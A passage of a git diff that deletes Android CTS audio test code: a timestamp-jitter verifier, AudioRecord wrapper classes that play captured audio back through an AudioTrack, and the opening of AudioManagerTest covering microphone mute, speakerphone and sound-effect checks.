-        private long mLastFrames = 0;
-        private long mLastTimeNs = 0;
-        private int mJitterCount = 0;
-        private double mMeanJitterMs = 0.;
-        private double mSecondMomentJitterMs = 0.;
-        private double mMaxAbsJitterMs = 0.;
-        private int mWarmupCount = 0;
-
-        public TimestampVerifier(@Nullable String tag, @IntRange(from=4000) int sampleRate,
-                                 long startFrames, boolean isProAudioDevice) {
-            mTag = tag;  // Log accepts null
-            mSampleRate = sampleRate;
-            mStartFrames = startFrames;
-            // Warning if higher than MUST value for pro audio.  Zero means ignore.
-            TEST_STARTUP_TIME_MS_WARN = isProAudioDevice ? 200. : 0.;
-        }
-
-        public int getJitterCount() { return mJitterCount; }
-        public double getMeanJitterMs() { return mMeanJitterMs; }
-        public double getStdJitterMs() { return Math.sqrt(mSecondMomentJitterMs / mJitterCount); }
-        public double getMaxAbsJitterMs() { return mMaxAbsJitterMs; }
-        public double getStartTimeNs() {
-            return mLastTimeNs - ((mLastFrames - mStartFrames) * NANOS_PER_SECOND / mSampleRate);
-        }
-
-        public void add(@NonNull AudioTimestamp ts) {
-            final long frames = ts.framePosition;
-            final long timeNs = ts.nanoTime;
-
-            assertTrue(mTag + " timestamps must have causal time", System.nanoTime() >= timeNs);
-
-            if (mCount > 0) { // need delta info from previous iteration (skipping first)
-                final long deltaFrames = frames - mLastFrames;
-                final long deltaTimeNs = timeNs - mLastTimeNs;
-
-                if (deltaFrames == 0 && deltaTimeNs == 0) return;
-
-                final double deltaFramesNs = (double)deltaFrames * NANOS_PER_SECOND / mSampleRate;
-                final double jitterMs = (deltaTimeNs - deltaFramesNs)  // actual - expected
-                        * (1. / NANOS_PER_MILLISECOND);
-
-                Log.d(mTag, "frames(" + frames
-                        + ") timeNs(" + timeNs
-                        + ") lastframes(" + mLastFrames
-                        + ") lastTimeNs(" + mLastTimeNs
-                        + ") deltaFrames(" + deltaFrames
-                        + ") deltaTimeNs(" + deltaTimeNs
-                        + ") jitterMs(" + jitterMs + ")");
-                assertTrue(mTag + " timestamp time should be increasing", deltaTimeNs >= 0);
-                assertTrue(mTag + " timestamp frames should be increasing", deltaFrames >= 0);
-
-                if (mLastFrames != 0) {
-                    if (mWarmupCount++ > 1) { // ensure device is warmed up
-                        // Welford's algorithm
-                        // https://en.wikipedia.org/wiki/Algorithms_for_calculating_variance
-                        ++mJitterCount;
-                        final double delta = jitterMs - mMeanJitterMs;
-                        mMeanJitterMs += delta / mJitterCount;
-                        final double delta2 = jitterMs - mMeanJitterMs;
-                        mSecondMomentJitterMs += delta * delta2;
-
-                        // jitterMs is signed, so max uses abs() here.
-                        final double absJitterMs = Math.abs(jitterMs);
-                        if (absJitterMs > mMaxAbsJitterMs) {
-                            mMaxAbsJitterMs = absJitterMs;
-                        }
-                    }
-                }
-            }
-            ++mCount;
-            mLastFrames = frames;
-            mLastTimeNs = timeNs;
-        }
-
-        public void verifyAndLog(long trackStartTimeNs, @Nullable String logName) {
-            // enough timestamps?
-            assertTrue(mTag + " need at least 2 jitter measurements", mJitterCount >= 2);
-
-            // Compute startup time and std jitter.
-            final int startupTimeMs =
-                    (int) ((getStartTimeNs() - trackStartTimeNs) / NANOS_PER_MILLISECOND);
-            final double stdJitterMs = getStdJitterMs();
-
-            // Check startup time
-            assertTrue(mTag + " expect startupTimeMs " + startupTimeMs
-                            + " <= " + TEST_STARTUP_TIME_MS_ALLOWED,
-                    startupTimeMs <= TEST_STARTUP_TIME_MS_ALLOWED);
-            if (TEST_STARTUP_TIME_MS_WARN > 0 && startupTimeMs > TEST_STARTUP_TIME_MS_WARN) {
-                Log.w(mTag, "CDD warning: startup time " + startupTimeMs
-                        + " > " + TEST_STARTUP_TIME_MS_WARN);
-            } else if (startupTimeMs > TEST_STARTUP_TIME_MS_INFO) {
-                Log.i(mTag, "CDD informational: startup time " + startupTimeMs
-                        + " > " + TEST_STARTUP_TIME_MS_INFO);
-            }
-
-            // Check maximum jitter
-            assertTrue(mTag + " expect maxAbsJitterMs(" + mMaxAbsJitterMs + ") < "
-                            + TEST_MAX_JITTER_MS_ALLOWED,
-                    mMaxAbsJitterMs < TEST_MAX_JITTER_MS_ALLOWED);
-
-            // Check std jitter
-            if (stdJitterMs > TEST_STD_JITTER_MS_WARN) {
-                Log.w(mTag, "CDD warning: std timestamp jitter " + stdJitterMs
-                        + " > " + TEST_STD_JITTER_MS_WARN);
-            }
-            assertTrue(mTag + " expect stdJitterMs " + stdJitterMs +
-                            " < " + TEST_STD_JITTER_MS_ALLOWED,
-                    stdJitterMs < TEST_STD_JITTER_MS_ALLOWED);
-
-            Log.d(mTag, "startupTimeMs(" + startupTimeMs
-                    + ") meanJitterMs(" + mMeanJitterMs
-                    + ") maxAbsJitterMs(" + mMaxAbsJitterMs
-                    + ") stdJitterMs(" + stdJitterMs
-                    + ")");
-
-            // Log results if logName is provided
-            if (logName != null) {
-                DeviceReportLog log = new DeviceReportLog(REPORT_LOG_NAME, logName);
-                // ReportLog needs at least one Value and Summary.
-                log.addValue("startup_time_ms", startupTimeMs,
-                        ResultType.LOWER_BETTER, ResultUnit.MS);
-                log.addValue("maximum_abs_jitter_ms", mMaxAbsJitterMs,
-                        ResultType.LOWER_BETTER, ResultUnit.MS);
-                log.addValue("mean_jitter_ms", mMeanJitterMs,
-                        ResultType.LOWER_BETTER, ResultUnit.MS);
-                log.setSummary("std_jitter_ms", stdJitterMs,
-                        ResultType.LOWER_BETTER, ResultUnit.MS);
-                log.submit(InstrumentationRegistry.getInstrumentation());
-            }
-        }
-    }
-
-    /* AudioRecordAudit extends AudioRecord to allow concurrent playback
-     * of read content to an AudioTrack.  This is for testing only.
-     * For general applications, it is NOT recommended to extend AudioRecord.
-     * This affects AudioRecord timing.
-     */
-    public static class AudioRecordAudit extends AudioRecord {
-        public AudioRecordAudit(int audioSource, int sampleRate, int channelMask,
-                int format, int bufferSize, boolean isChannelIndex) {
-            this(audioSource, sampleRate, channelMask, format, bufferSize, isChannelIndex,
-                    AudioManager.STREAM_MUSIC, 500 /*delayMs*/);
-        }
-
-        public AudioRecordAudit(int audioSource, int sampleRate, int channelMask,
-                int format, int bufferSize,
-                boolean isChannelIndex, int auditStreamType, int delayMs) {
-            // without channel index masks, one could call:
-            // super(audioSource, sampleRate, channelMask, format, bufferSize);
-            super(new AudioAttributes.Builder()
-                            .setInternalCapturePreset(audioSource)
-                            .build(),
-                    (isChannelIndex
-                            ? new AudioFormat.Builder().setChannelIndexMask(channelMask)
-                                    : new AudioFormat.Builder().setChannelMask(channelMask))
-                            .setEncoding(format)
-                            .setSampleRate(sampleRate)
-                            .build(),
-                    bufferSize,
-                    AudioManager.AUDIO_SESSION_ID_GENERATE);
-
-            if (delayMs >= 0) { // create an AudioTrack
-                final int channelOutMask = isChannelIndex ? channelMask :
-                    outChannelMaskFromInChannelMask(channelMask);
-                final int bufferOutFrames = sampleRate * delayMs / 1000;
-                final int bufferOutSamples = bufferOutFrames
-                        * AudioFormat.channelCountFromOutChannelMask(channelOutMask);
-                final int bufferOutSize = bufferOutSamples
-                        * AudioFormat.getBytesPerSample(format);
-
-                // Caution: delayMs too large results in buffer sizes that cannot be created.
-                mTrack = new AudioTrack.Builder()
-                                .setAudioAttributes(new AudioAttributes.Builder()
-                                        .setLegacyStreamType(auditStreamType)
-                                        .build())
-                                .setAudioFormat((isChannelIndex ?
-                                  new AudioFormat.Builder().setChannelIndexMask(channelOutMask) :
-                                  new AudioFormat.Builder().setChannelMask(channelOutMask))
-                                        .setEncoding(format)
-                                        .setSampleRate(sampleRate)
-                                        .build())
-                                .setBufferSizeInBytes(bufferOutSize)
-                                .build();
-                Assert.assertEquals(AudioTrack.STATE_INITIALIZED, mTrack.getState());
-                mPosition = 0;
-                mFinishAtMs = 0;
-            }
-        }
-
-        @Override
-        public int read(byte[] audioData, int offsetInBytes, int sizeInBytes) {
-            // for byte array access we verify format is 8 bit PCM (typical use)
-            Assert.assertEquals(TAG + ": format mismatch",
-                    AudioFormat.ENCODING_PCM_8BIT, getAudioFormat());
-            int samples = super.read(audioData, offsetInBytes, sizeInBytes);
-            if (mTrack != null) {
-                Assert.assertEquals(samples, mTrack.write(audioData, offsetInBytes, samples));
-                mPosition += samples / mTrack.getChannelCount();
-            }
-            return samples;
-        }
-
-        @Override
-        public int read(byte[] audioData, int offsetInBytes, int sizeInBytes, int readMode) {
-            // for byte array access we verify format is 8 bit PCM (typical use)
-            Assert.assertEquals(TAG + ": format mismatch",
-                    AudioFormat.ENCODING_PCM_8BIT, getAudioFormat());
-            int samples = super.read(audioData, offsetInBytes, sizeInBytes, readMode);
-            if (mTrack != null) {
-                Assert.assertEquals(samples, mTrack.write(audioData, offsetInBytes, samples,
-                        AudioTrack.WRITE_BLOCKING));
-                mPosition += samples / mTrack.getChannelCount();
-            }
-            return samples;
-        }
-
-        @Override
-        public int read(short[] audioData, int offsetInShorts, int sizeInShorts) {
-            // for short array access we verify format is 16 bit PCM (typical use)
-            Assert.assertEquals(TAG + ": format mismatch",
-                    AudioFormat.ENCODING_PCM_16BIT, getAudioFormat());
-            int samples = super.read(audioData, offsetInShorts, sizeInShorts);
-            if (mTrack != null) {
-                Assert.assertEquals(samples, mTrack.write(audioData, offsetInShorts, samples));
-                mPosition += samples / mTrack.getChannelCount();
-            }
-            return samples;
-        }
-
-        @Override
-        public int read(short[] audioData, int offsetInShorts, int sizeInShorts, int readMode) {
-            // for short array access we verify format is 16 bit PCM (typical use)
-            Assert.assertEquals(TAG + ": format mismatch",
-                    AudioFormat.ENCODING_PCM_16BIT, getAudioFormat());
-            int samples = super.read(audioData, offsetInShorts, sizeInShorts, readMode);
-            if (mTrack != null) {
-                Assert.assertEquals(samples, mTrack.write(audioData, offsetInShorts, samples,
-                        AudioTrack.WRITE_BLOCKING));
-                mPosition += samples / mTrack.getChannelCount();
-            }
-            return samples;
-        }
-
-        @Override
-        public int read(float[] audioData, int offsetInFloats, int sizeInFloats, int readMode) {
-            // for float array access we verify format is float PCM (typical use)
-            Assert.assertEquals(TAG + ": format mismatch",
-                    AudioFormat.ENCODING_PCM_FLOAT, getAudioFormat());
-            int samples = super.read(audioData, offsetInFloats, sizeInFloats, readMode);
-            if (mTrack != null) {
-                Assert.assertEquals(samples, mTrack.write(audioData, offsetInFloats, samples,
-                        AudioTrack.WRITE_BLOCKING));
-                mPosition += samples / mTrack.getChannelCount();
-            }
-            return samples;
-        }
-
-        @Override
-        public int read(ByteBuffer audioBuffer, int sizeInBytes) {
-            int bytes = super.read(audioBuffer, sizeInBytes);
-            if (mTrack != null) {
-                // read does not affect position and limit of the audioBuffer.
-                // we make a duplicate to change that for writing to the output AudioTrack
-                // which does check position and limit.
-                ByteBuffer copy = audioBuffer.duplicate();
-                copy.position(0).limit(bytes);  // read places data at the start of the buffer.
-                Assert.assertEquals(bytes, mTrack.write(copy, bytes, AudioTrack.WRITE_BLOCKING));
-                mPosition += bytes /
-                        (mTrack.getChannelCount()
-                                * AudioFormat.getBytesPerSample(mTrack.getAudioFormat()));
-            }
-            return bytes;
-        }
-
-        @Override
-        public int read(ByteBuffer audioBuffer, int sizeInBytes, int readMode) {
-            int bytes = super.read(audioBuffer, sizeInBytes, readMode);
-            if (mTrack != null) {
-                // read does not affect position and limit of the audioBuffer.
-                // we make a duplicate to change that for writing to the output AudioTrack
-                // which does check position and limit.
-                ByteBuffer copy = audioBuffer.duplicate();
-                copy.position(0).limit(bytes);  // read places data at the start of the buffer.
-                Assert.assertEquals(bytes, mTrack.write(copy, bytes, AudioTrack.WRITE_BLOCKING));
-                mPosition += bytes /
-                        (mTrack.getChannelCount()
-                                * AudioFormat.getBytesPerSample(mTrack.getAudioFormat()));
-            }
-            return bytes;
-        }
-
-        @Override
-        public void startRecording() {
-            super.startRecording();
-            if (mTrack != null) {
-                mTrack.play();
-            }
-        }
-
-        @Override
-        public void stop() {
-            super.stop();
-            if (mTrack != null) {
-                if (mPosition > 0) { // stop may be called multiple times.
-                    final int remainingFrames = mPosition - mTrack.getPlaybackHeadPosition();
-                    mFinishAtMs = System.currentTimeMillis()
-                            + remainingFrames * 1000 / mTrack.getSampleRate();
-                    mPosition = 0;
-                }
-                mTrack.stop(); // allows remaining data to play out
-            }
-        }
-
-        @Override
-        public void release() {
-            super.release();
-            if (mTrack != null) {
-                final long remainingMs = mFinishAtMs - System.currentTimeMillis();
-                if (remainingMs > 0) {
-                    try {
-                        Thread.sleep(remainingMs);
-                    } catch (InterruptedException e) {
-                        ;
-                    }
-                }
-                mTrack.release();
-                mTrack = null;
-            }
-        }
-
-        public AudioTrack mTrack;
-        private final static String TAG = "AudioRecordAudit";
-        private int mPosition;
-        private long mFinishAtMs;
-    }
-
-    /* AudioRecordAudit extends AudioRecord to allow concurrent playback
-     * of read content to an AudioTrack.  This is for testing only.
-     * For general applications, it is NOT recommended to extend AudioRecord.
-     * This affects AudioRecord timing.
-     */
-    public static class AudioRecordAuditNative extends AudioRecordNative {
-        public AudioRecordAuditNative() {
-            super();
-            // Caution: delayMs too large results in buffer sizes that cannot be created.
-            mTrack = new AudioTrackNative();
-        }
-
-        @Override
-        public boolean open(int numChannels, int sampleRate, boolean useFloat, int numBuffers) {
-            if (super.open(numChannels, sampleRate, useFloat, numBuffers)) {
-                if (!mTrack.open(numChannels, sampleRate, useFloat, 2 /* numBuffers */)) {
-                    mTrack = null; // remove track
-                }
-                return true;
-            }
-            return false;
-        }
-
-        @Override
-        public void close() {
-            super.close();
-            if (mTrack != null) {
-                mTrack.close();
-            }
-        }
-
-        @Override
-        public boolean start() {
-            if (super.start()) {
-                if (mTrack != null) {
-                    mTrack.start();
-                }
-                return true;
-            }
-            return false;
-        }
-
-        @Override
-        public boolean stop() {
-            if (super.stop()) {
-                if (mTrack != null) {
-                    mTrack.stop(); // doesn't allow remaining data to play out
-                }
-                return true;
-            }
-            return false;
-        }
-
-        @Override
-        public int read(short[] audioData, int offsetInShorts, int sizeInShorts, int readFlags) {
-            int samples = super.read(audioData, offsetInShorts, sizeInShorts, readFlags);
-            if (mTrack != null) {
-                Assert.assertEquals(samples, mTrack.write(audioData, offsetInShorts, samples,
-                        AudioTrackNative.WRITE_FLAG_BLOCKING));
-                mPosition += samples / mTrack.getChannelCount();
-            }
-            return samples;
-        }
-
-        @Override
-        public int read(float[] audioData, int offsetInFloats, int sizeInFloats, int readFlags) {
-            int samples = super.read(audioData, offsetInFloats, sizeInFloats, readFlags);
-            if (mTrack != null) {
-                Assert.assertEquals(samples, mTrack.write(audioData, offsetInFloats, samples,
-                        AudioTrackNative.WRITE_FLAG_BLOCKING));
-                mPosition += samples / mTrack.getChannelCount();
-            }
-            return samples;
-        }
-
-        public AudioTrackNative mTrack;
-        private final static String TAG = "AudioRecordAuditNative";
-        private int mPosition;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/AudioManagerTest.java b/tests/tests/media/src/android/media/cts/AudioManagerTest.java
deleted file mode 100644
index e51f010..0000000
--- a/tests/tests/media/src/android/media/cts/AudioManagerTest.java
+++ /dev/null
@@ -1,1951 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertNotEquals;
-
-import static android.media.AudioManager.ADJUST_LOWER;
-import static android.media.AudioManager.ADJUST_RAISE;
-import static android.media.AudioManager.ADJUST_SAME;
-import static android.media.AudioManager.MODE_IN_CALL;
-import static android.media.AudioManager.MODE_IN_COMMUNICATION;
-import static android.media.AudioManager.MODE_NORMAL;
-import static android.media.AudioManager.MODE_RINGTONE;
-import static android.media.AudioManager.RINGER_MODE_NORMAL;
-import static android.media.AudioManager.RINGER_MODE_SILENT;
-import static android.media.AudioManager.RINGER_MODE_VIBRATE;
-import static android.media.AudioManager.STREAM_ACCESSIBILITY;
-import static android.media.AudioManager.STREAM_ALARM;
-import static android.media.AudioManager.STREAM_DTMF;
-import static android.media.AudioManager.STREAM_MUSIC;
-import static android.media.AudioManager.STREAM_NOTIFICATION;
-import static android.media.AudioManager.STREAM_RING;
-import static android.media.AudioManager.STREAM_SYSTEM;
-import static android.media.AudioManager.STREAM_VOICE_CALL;
-import static android.media.AudioManager.USE_DEFAULT_STREAM_TYPE;
-import static android.media.AudioManager.VIBRATE_SETTING_OFF;
-import static android.media.AudioManager.VIBRATE_SETTING_ON;
-import static android.media.AudioManager.VIBRATE_SETTING_ONLY_SILENT;
-import static android.media.AudioManager.VIBRATE_TYPE_NOTIFICATION;
-import static android.media.AudioManager.VIBRATE_TYPE_RINGER;
-import static android.provider.Settings.System.SOUND_EFFECTS_ENABLED;
-
-import android.Manifest;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageManager;
-import android.content.res.Resources;
-import android.media.AudioAttributes;
-import android.media.AudioDeviceAttributes;
-import android.media.AudioDeviceInfo;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.AudioProfile;
-import android.media.AudioDescriptor;
-import android.media.MediaPlayer;
-import android.media.MediaRecorder;
-import android.media.MicrophoneInfo;
-import android.media.audiopolicy.AudioProductStrategy;
-import android.os.Build;
-import android.os.SystemClock;
-import android.os.Vibrator;
-import android.platform.test.annotations.AppModeFull;
-import android.provider.Settings;
-import android.provider.Settings.System;
-import android.test.InstrumentationTestCase;
-import android.text.TextUtils;
-import android.util.Log;
-import android.view.SoundEffectConstants;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.MediaUtils;
-import com.android.compatibility.common.util.SettingsStateKeeperRule;
-import com.android.internal.annotations.GuardedBy;
-
-import org.junit.ClassRule;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Map;
-import java.util.Set;
-import java.util.concurrent.Executors;
-import java.util.function.Predicate;
-import java.util.stream.Collectors;
-import java.util.stream.IntStream;
-
-@NonMediaMainlineTest
-public class AudioManagerTest extends InstrumentationTestCase {
-    private final static String TAG = "AudioManagerTest";
-
-    private final static long ASYNC_TIMING_TOLERANCE_MS = 50;
-    private final static long POLL_TIME_VOLUME_ADJUST = 200;
-    private final static long POLL_TIME_UPDATE_INTERRUPTION_FILTER = 5000;
-    private final static int MP3_TO_PLAY = R.raw.testmp3; // ~ 5 second mp3
-    private final static long POLL_TIME_PLAY_MUSIC = 2000;
-    private final static long TIME_TO_PLAY = 2000;
-    private final static String APPOPS_OP_STR = "android:write_settings";
-    private final static Set<Integer> ALL_KNOWN_ENCAPSULATION_TYPES = new HashSet<>() {{
-            add(AudioProfile.AUDIO_ENCAPSULATION_TYPE_IEC61937);
-    }};
-    private final static Set<Integer> ALL_ENCAPSULATION_TYPES = new HashSet<>() {{
-            add(AudioProfile.AUDIO_ENCAPSULATION_TYPE_NONE);
-            add(AudioProfile.AUDIO_ENCAPSULATION_TYPE_IEC61937);
-    }};
-    private final static HashSet<Integer> ALL_AUDIO_STANDARDS = new HashSet<>() {{
-            add(AudioDescriptor.STANDARD_NONE);
-            add(AudioDescriptor.STANDARD_EDID);
-    }};
-    private AudioManager mAudioManager;
-    private NotificationManager mNm;
-    private boolean mHasVibrator;
-    private boolean mUseFixedVolume;
-    private boolean mIsTelevision;
-    private boolean mIsSingleVolume;
-    private boolean mSkipRingerTests;
-    // From N onwards, ringer mode adjustments that toggle DND are not allowed unless
-    // package has DND access. Many tests in this package toggle DND access in order
-    // to get device out of the DND state for the test to proceed correctly.
-    // But DND access is disabled completely on low ram devices,
-    // so completely skip those tests here.
-    // These tests are migrated to CTS verifier tests to ensure test coverage.
-    private Context mContext;
-    private int mOriginalRingerMode;
-    private Map<Integer, Integer> mOriginalStreamVolumes = new HashMap<>();
-    private NotificationManager.Policy mOriginalNotificationPolicy;
-    private int mOriginalZen;
-    private boolean mDoNotCheckUnmute;
-    private boolean mAppsBypassingDnd;
-
-    @ClassRule
-    public static final SettingsStateKeeperRule mSurroundSoundFormatsSettingsKeeper =
-            new SettingsStateKeeperRule(InstrumentationRegistry.getTargetContext(),
-                    Settings.Global.ENCODED_SURROUND_OUTPUT_ENABLED_FORMATS);
-
-    @ClassRule
-    public static final SettingsStateKeeperRule mSurroundSoundModeSettingsKeeper =
-            new SettingsStateKeeperRule(InstrumentationRegistry.getTargetContext(),
-                    Settings.Global.ENCODED_SURROUND_OUTPUT);
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getContext();
-        Utils.enableAppOps(mContext.getPackageName(), APPOPS_OP_STR, getInstrumentation());
-        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
-        Vibrator vibrator = (Vibrator) mContext.getSystemService(Context.VIBRATOR_SERVICE);
-        mNm = (NotificationManager) mContext.getSystemService(Context.NOTIFICATION_SERVICE);
-        mAppsBypassingDnd = NotificationManager.getService().areChannelsBypassingDnd();
-        mHasVibrator = (vibrator != null) && vibrator.hasVibrator();
-        mUseFixedVolume = mContext.getResources().getBoolean(
-                Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android"));
-        PackageManager packageManager = mContext.getPackageManager();
-        mIsTelevision = packageManager != null
-                && (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
-                        || packageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION));
-        mIsSingleVolume = mContext.getResources().getBoolean(
-                Resources.getSystem().getIdentifier("config_single_volume", "bool", "android"));
-        mSkipRingerTests = mUseFixedVolume || mIsTelevision || mIsSingleVolume;
-
-        // Store the original volumes that that they can be recovered in tearDown().
-        final int[] streamTypes = {
-            STREAM_VOICE_CALL,
-            STREAM_SYSTEM,
-            STREAM_RING,
-            STREAM_MUSIC,
-            STREAM_ALARM,
-            STREAM_NOTIFICATION,
-            STREAM_DTMF,
-            STREAM_ACCESSIBILITY,
-        };
-        mOriginalRingerMode = mAudioManager.getRingerMode();
-        for (int streamType : streamTypes) {
-            mOriginalStreamVolumes.put(streamType, mAudioManager.getStreamVolume(streamType));
-        }
-
-        try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            mOriginalNotificationPolicy = mNm.getNotificationPolicy();
-            mOriginalZen = mNm.getCurrentInterruptionFilter();
-        } finally {
-            setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_ALL);
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
-        }
-
-        // Check original microphone mute/unmute status
-        mDoNotCheckUnmute = false;
-        if (mAudioManager.isMicrophoneMute()) {
-            mAudioManager.setMicrophoneMute(false);
-            if (mAudioManager.isMicrophoneMute()) {
-                Log.w(TAG, "Mic seems muted by hardware! Please unmute and rerrun the test.");
-                mDoNotCheckUnmute = true;
-            }
-        }
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        try {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), true);
-            mNm.setNotificationPolicy(mOriginalNotificationPolicy);
-            setInterruptionFilter(mOriginalZen);
-
-            // Recover the volume and the ringer mode that the test may have overwritten.
-            for (Map.Entry<Integer, Integer> e : mOriginalStreamVolumes.entrySet()) {
-                mAudioManager.setStreamVolume(e.getKey(), e.getValue(),
-                                              AudioManager.FLAG_ALLOW_RINGER_MODES);
-            }
-            mAudioManager.setRingerMode(mOriginalRingerMode);
-        } finally {
-            Utils.toggleNotificationPolicyAccess(
-                    mContext.getPackageName(), getInstrumentation(), false);
-        }
-    }
-
-    @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
-    public void testMicrophoneMute() throws Exception {
-        mAudioManager.setMicrophoneMute(true);
-        assertTrue(mAudioManager.isMicrophoneMute());
-        mAudioManager.setMicrophoneMute(false);
-        assertFalse(mAudioManager.isMicrophoneMute() && !mDoNotCheckUnmute);
-    }
-
-    @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
-    public void testMicrophoneMuteIntent() throws Exception {
-        if (!mDoNotCheckUnmute) {
-            final MyBlockingIntentReceiver receiver = new MyBlockingIntentReceiver(
-                    AudioManager.ACTION_MICROPHONE_MUTE_CHANGED);
-            final boolean initialMicMute = mAudioManager.isMicrophoneMute();
-            try {
-                mContext.registerReceiver(receiver,
-                        new IntentFilter(AudioManager.ACTION_MICROPHONE_MUTE_CHANGED));
-                // change the mic mute state
-                mAudioManager.setMicrophoneMute(!initialMicMute);
-                // verify a change was reported
-                final boolean intentFired = receiver.waitForExpectedAction(500/*ms*/);
-                assertTrue("ACTION_MICROPHONE_MUTE_CHANGED wasn't fired", intentFired);
-                // verify the mic mute state is expected
-                final boolean newMicMute = mAudioManager.isMicrophoneMute();
-                assertTrue("new mic mute state not as expected (" + !initialMicMute + ")",
-                        (newMicMute == !initialMicMute));
-            } finally {
-                mContext.unregisterReceiver(receiver);
-                mAudioManager.setMicrophoneMute(initialMicMute);
-            }
-        }
-    }
-
-    @AppModeFull(reason = "Instant apps cannot hold android.permission.MODIFY_AUDIO_SETTINGS")
-    public void testSpeakerphoneIntent() throws Exception {
-        final MyBlockingIntentReceiver receiver = new MyBlockingIntentReceiver(
-                AudioManager.ACTION_SPEAKERPHONE_STATE_CHANGED);
-        final boolean initialSpeakerphoneState = mAudioManager.isSpeakerphoneOn();
-        try {
-            mContext.registerReceiver(receiver,
-                    new IntentFilter(AudioManager.ACTION_SPEAKERPHONE_STATE_CHANGED));
-            // change the speakerphone state
-            mAudioManager.setSpeakerphoneOn(!initialSpeakerphoneState);
-            // verify a change was reported
-            final boolean intentFired = receiver.waitForExpectedAction(500/*ms*/);
-            assertTrue("ACTION_SPEAKERPHONE_STATE_CHANGED wasn't fired", intentFired);
-            // verify the speakerphon state is expected
-            final boolean newSpeakerphoneState = mAudioManager.isSpeakerphoneOn();
-            assertTrue("new mic mute state not as expected ("
-                    + !initialSpeakerphoneState + ")",
-                    newSpeakerphoneState == !initialSpeakerphoneState);
-        } finally {
-            mContext.unregisterReceiver(receiver);
-            mAudioManager.setSpeakerphoneOn(initialSpeakerphoneState);
-        }
-    }
-
-    private static final class MyBlockingIntentReceiver extends BroadcastReceiver {
-        private final SafeWaitObject mLock = new SafeWaitObject();
-        // the action for the intent to check
-        private final String mAction;
-        @GuardedBy("mLock")
-        private boolean mIntentReceived = false;
-
-        MyBlockingIntentReceiver(String action) {
-            mAction = action;
-        }
-
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            if (!TextUtils.equals(intent.getAction(), mAction)) {
-                // move along, this is not the action we're looking for
-                return;
-            }
-            synchronized (mLock) {
-                mIntentReceived = true;
-                mLock.safeNotify();
-            }
-        }
-
-        public boolean waitForExpectedAction(long timeOutMs) {
-            synchronized (mLock) {
-                try {
-                    mLock.safeWait(timeOutMs);
-                } catch (InterruptedException e) { }
-                return mIntentReceived;
-            }
-        }
-    }
-
-    public void testSoundEffects() throws Exception {
-        Settings.System.putInt(mContext.getContentResolver(), SOUND_EFFECTS_ENABLED, 1);
-
-        // should hear sound after loadSoundEffects() called.
-        mAudioManager.loadSoundEffects();
-        Thread.sleep(TIME_TO_PLAY);
-        float volume = 0.5f;  // volume should be between 0.f to 1.f (or -1).
-        mAudioManager.playSoundEffect(SoundEffectConstants.CLICK);
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP);
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN);
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT);
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT);
-
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP, volume);
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN, volume);
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT, volume);
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT, volume);
-
-        // won't hear sound after unloadSoundEffects() called();
-        mAudioManager.unloadSoundEffects();
-        mAudioManager.playSoundEffect(AudioManager.FX_KEY_CLICK);
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP);
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN);
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT);
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT);
-
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP, volume);
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN, volume);
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT, volume);
-        mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT, volume);
-    }
-
-    public void testCheckingZenModeBlockDoesNotRequireNotificationPolicyAccess() throws Exception {
-        try {
-            // set zen mode to priority only, so playSoundEffect will check notification policy
-            Utils.toggleNotificationPolicyAccess(mContext.getPackageName(), getInstrumentation(),
